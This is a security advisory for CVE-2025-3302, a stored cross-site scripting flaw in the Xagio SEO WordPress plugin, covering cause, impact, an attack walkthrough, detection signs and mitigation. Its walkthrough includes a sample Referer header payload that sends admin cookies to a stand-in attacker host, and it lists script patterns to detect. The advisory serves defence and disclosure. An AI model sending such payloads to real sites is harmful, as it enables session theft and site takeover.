CVE-2025-3302: 
WordPress vulnerability analysis and mitigation

CVE-2025-3302 is a Stored Cross-Site Scripting (XSS) vulnerability in the Xagio SEO – AI Powered SEO plugin for WordPress. It affects all versions up to and including 7.1.0.16, with a partial patch introduced in version 7.1.0.0. The vulnerability stems from insufficient input sanitization and output escaping of the HTTP_REFERER parameter, allowing unauthenticated attackers to inject persistent malicious scripts into pages. It was published on June 11, 2025, and carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The plugin's redirect/404 logging module improperly handles the HTTP_REFERER HTTP header, storing its unsanitized value and later rendering it without proper output escaping in the WordPress admin interface. An unauthenticated attacker can craft an HTTP request with a malicious Referer header containing JavaScript, which gets stored in the database and executed in the browser of any user (including administrators) who views the affected page. Relevant vulnerable code paths are visible in the plugin's xagio_log404.php (lines 263, 335) and redirects.js (lines 554, 662) (Wordfence, WordPress Trac).

Successful exploitation allows unauthenticated attackers to persistently inject arbitrary JavaScript into WordPress admin pages, which executes in the context of any user who views the injected content. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and potential full site compromise if an administrator's session is captured. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the plugin itself to the broader WordPress environment (Wordfence, Red Hat).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-3302 as of the available data. The EPSS score is approximately 0.0022 (0.22%), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the unauthenticated nature of the attack (no credentials or user interaction required from the attacker) lowers the barrier to exploitation significantly (Wordfence, Wordfence Weekly Report).

1. Reconnaissance: Identify WordPress sites running the Xagio SEO plugin (versions ≤ 7.1.0.16) using tools like WPScan, Shodan, or by checking /wp-content/plugins/xagio-seo/ for version information.
2. Craft malicious request: Send an HTTP request to any page on the target WordPress site that triggers a 404 or redirect log entry, with a crafted Referer header containing a JavaScript payload, e.g., Referer: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Payload stored: The plugin's 404/redirect logging module stores the unsanitized HTTP_REFERER value in the WordPress database without proper sanitization.
4. Trigger execution: Wait for an administrator or privileged user to navigate to the Xagio SEO redirects/404 log page in the WordPress admin panel, which renders the stored payload without output escaping.
5. Achieve objective: The injected script executes in the administrator's browser, enabling session cookie theft, unauthorized admin actions, or further site compromise (Wordfence, WordPress Trac).

• Network: HTTP requests to the WordPress site with anomalous or script-containing Referer headers (e.g., headers containing <script>, javascript:, or encoded variants); outbound connections from the browser to unknown external domains after admin page visits.
• Logs: Web server access logs showing requests with suspicious Referer values containing HTML/JavaScript tags; WordPress database entries in redirect/404 log tables with script content in the referrer field.
• File System: Unexpected new WordPress admin user accounts or newly installed plugins not authorized by site administrators (potential post-exploitation artifacts).
• Process/Behavior: Unusual JavaScript execution or network requests observed in browser developer tools when administrators access the Xagio SEO redirects or 404 log admin pages (Wordfence).

Site administrators should update the Xagio SEO plugin to the latest available version beyond 7.1.0.16, as version 7.1.0.0 only partially addressed the issue and the full fix was applied in a subsequent release (changeset 3305780). If an immediate update is not possible, consider disabling the plugin's redirect/404 logging feature or deactivating the plugin entirely until a patch is applied. Restricting access to the WordPress admin panel via IP allowlisting provides an additional layer of defense (Wordfence, WordPress Trac Changeset).

Wordfence disclosed and reported the vulnerability, noting the partial patch in version 7.1.0.0 and the need for a more complete fix. The vulnerability was included in Wordfence's weekly WordPress vulnerability report for June 9–15, 2025. RedPacketSecurity shared the advisory on Mastodon, contributing to broader community awareness. No significant vendor statements beyond the patch changelog or major media coverage have been identified (Wordfence Weekly Report).